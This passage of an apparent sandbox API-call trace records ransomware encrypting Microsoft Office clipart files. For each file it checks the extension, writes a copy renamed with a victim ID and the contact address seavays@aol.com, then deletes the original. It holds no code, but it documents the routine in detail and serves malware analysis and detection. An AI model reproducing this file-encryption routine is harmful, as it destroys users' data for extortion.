Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.019] lstrlenW (lpString=".doc") returned 4 [0181.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString=".docx") returned 5 [0181.020] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.020] lstrlenW (lpString=".pdf") returned 4 [0181.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString=".xls") returned 4 [0181.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.020] lstrlenW (lpString=".xlsx") returned 5 [0181.020] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.020] lstrlenW (lpString=".ppt") returned 4 [0181.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.020] lstrlenW (lpString=".zip") returned 4 [0181.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.020] lstrlenW (lpString=".rar") returned 4 [0181.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString=".bz2") returned 4 [0181.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString=".7z") returned 3 [0181.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.020] lstrlenW (lpString=".dbf") returned 4 [0181.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.020] lstrlenW (lpString=".1cd") returned 4 [0181.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.020] lstrlenW (lpString=".jpg") returned 4 [0181.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.021] lstrlenW (lpString=".doc") returned 4 [0181.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.021] lstrlenW (lpString=".docx") returned 5 [0181.021] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.021] lstrlenW (lpString=".pdf") returned 4 [0181.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.021] lstrlenW (lpString=".xls") returned 4 [0181.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.021] lstrlenW (lpString=".xlsx") returned 5 [0181.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.021] lstrlenW (lpString=".ppt") returned 4 [0181.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.021] lstrlenW (lpString=".zip") returned 4 [0181.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.021] lstrlenW (lpString=".rar") returned 4 [0181.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.021] lstrlenW (lpString=".bz2") returned 4 [0181.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.022] lstrlenW (lpString=".7z") returned 3 [0181.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.022] lstrlenW (lpString=".dbf") returned 4 [0181.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.022] lstrlenW (lpString=".1cd") returned 4 [0181.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0181.022] lstrlenW (lpString=".jpg") returned 4 [0181.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.022] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0181.022] lstrlenW (lpString="J0152436.WMF") returned 12 [0181.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0181.024] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=11340) returned 1 [0181.024] CloseHandle (hObject=0x538) returned 1 [0181.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 0x220 [0181.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0181.025] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.025] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.027] GetLastError () returned 0x0 [0181.027] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0181.029] WriteFile (in: hFile=0x388, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2c50, lpOverlapped=0x0) returned 1 [0181.031] ReadFile (in: hFile=0x538, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.031] WriteFile (in: hFile=0x388, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.031] SetEndOfFile (hFile=0x388) returned 1 [0181.031] CloseHandle (hObject=0x388) returned 1 [0181.031] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.032] SetEndOfFile (hFile=0x538) returned 1 [0182.108] CloseHandle (hObject=0x538) returned 1 [0182.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0182.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.691] lstrlenW (lpString=".doc") returned 4 [0182.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.691] lstrlenW (lpString=".docx") returned 5 [0182.691] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.692] lstrlenW (lpString=".pdf") returned 4 [0182.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.692] lstrlenW (lpString=".xls") returned 4 [0182.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.692] lstrlenW (lpString=".xlsx") returned 5 [0182.692] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.692] lstrlenW (lpString=".ppt") returned 4 [0182.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.692] lstrlenW (lpString=".zip") returned 4 [0182.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.692] lstrlenW (lpString=".rar") returned 4 [0182.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.692] lstrlenW (lpString=".bz2") returned 4 [0182.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.692] lstrlenW (lpString=".7z") returned 3 [0182.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.692] lstrlenW (lpString=".dbf") returned 4 [0182.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.692] lstrlenW (lpString=".1cd") returned 4 [0182.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.692] lstrlenW (lpString=".jpg") returned 4 [0182.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.693] lstrlenW (lpString=".doc") returned 4 [0182.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.693] lstrlenW (lpString=".docx") returned 5 [0182.693] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.693] lstrlenW (lpString=".pdf") returned 4 [0182.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.693] lstrlenW (lpString=".xls") returned 4 [0182.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.693] lstrlenW (lpString=".xlsx") returned 5 [0182.693] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.693] lstrlenW (lpString=".ppt") returned 4 [0182.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.693] lstrlenW (lpString=".zip") returned 4 [0182.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.693] lstrlenW (lpString=".rar") returned 4 [0182.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.694] lstrlenW (lpString=".bz2") returned 4 [0182.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.694] lstrlenW (lpString=".7z") returned 3 [0182.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.694] lstrlenW (lpString=".dbf") returned 4 [0182.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.694] lstrlenW (lpString=".1cd") returned 4 [0182.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0182.694] lstrlenW (lpString=".jpg") returned 4 [0182.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.694] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0182.694] lstrlenW (lpString="J0152590.WMF") returned 12 [0182.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.888] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=10932) returned 1 [0182.888] CloseHandle (hObject=0x36c) returned 1 [0182.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 0x220 [0182.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.889] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.889] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.893] GetLastError () returned 0x0 [0182.893] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0182.895] WriteFile (in: hFile=0x444, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0182.897] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.897] WriteFile (in: hFile=0x444, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.897] SetEndOfFile (hFile=0x444) returned 1 [0182.897] CloseHandle (hObject=0x444) returned 1 [0182.897] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.897] SetEndOfFile (hFile=0x36c) returned 1 [0182.901] CloseHandle (hObject=0x36c) returned 1 [0182.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0182.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.903] lstrlenW (lpString=".doc") returned 4 [0182.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.903] lstrlenW (lpString=".docx") returned 5 [0182.903] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.903] lstrlenW (lpString=".pdf") returned 4 [0182.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.903] lstrlenW (lpString=".xls") returned 4 [0182.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.904] lstrlenW (lpString=".xlsx") returned 5 [0182.904] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.904] lstrlenW (lpString=".ppt") returned 4 [0182.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.904] lstrlenW (lpString=".zip") returned 4 [0182.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.904] lstrlenW (lpString=".rar") returned 4 [0182.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.904] lstrlenW (lpString=".bz2") returned 4 [0182.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.904] lstrlenW (lpString=".7z") returned 3 [0182.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.904] lstrlenW (lpString=".dbf") returned 4 [0182.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.904] lstrlenW (lpString=".1cd") returned 4 [0182.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.904] lstrlenW (lpString=".jpg") returned 4 [0182.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.905] lstrlenW (lpString=".doc") returned 4 [0182.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.905] lstrlenW (lpString=".docx") returned 5 [0182.905] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0182.905] lstrlenW (lpString=".pdf") returned 4 [0182.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.905] lstrlenW (lpString=".xls") returned 4 [0182.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.905] lstrlenW (lpString=".xlsx") returned 5 [0182.905] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0182.905] lstrlenW (lpString=".ppt") returned 4 [0182.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.905] lstrlenW (lpString=".zip") returned 4 [0182.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.905] lstrlenW (lpString=".rar") returned 4 [0182.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.905] lstrlenW (lpString=".bz2") returned 4 [0182.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.905] lstrlenW (lpString=".7z") returned 3 [0182.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.906] lstrlenW (lpString=".dbf") returned 4 [0182.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.906] lstrlenW (lpString=".1cd") returned 4 [0182.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0182.906] lstrlenW (lpString=".jpg") returned 4 [0182.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.906] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0182.906] lstrlenW (lpString="J0152602.WMF") returned 12 [0182.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.914] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=6276) returned 1 [0182.914] CloseHandle (hObject=0x36c) returned 1 [0182.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 0x220 [0182.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.915] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.915] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0182.916] GetLastError () returned 0x0 [0182.916] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1884, lpOverlapped=0x0) returned 1 [0182.918] WriteFile (in: hFile=0x444, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1890, lpOverlapped=0x0) returned 1 [0182.919] ReadFile (in: hFile=0x36c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.919] WriteFile (in: hFile=0x444, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.920] SetEndOfFile (hFile=0x444) returned 1 [0182.920] CloseHandle (hObject=0x444) returned 1 [0182.920] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.920] SetEndOfFile (hFile=0x36c) returned 1 [0183.103] CloseHandle (hObject=0x36c) returned 1 [0183.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0183.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF") returned 68 [0183.339] lstrlenW (lpString=".doc") returned 4 [0183.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.339] lstrlenW (lpString=".docx") returned 5 [0183.339] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.339] lstrlenW (lpString=".pdf") returned 4 [0183.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.339] lstrlenW (lpString=".xls") returned 4 [0183.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.339] 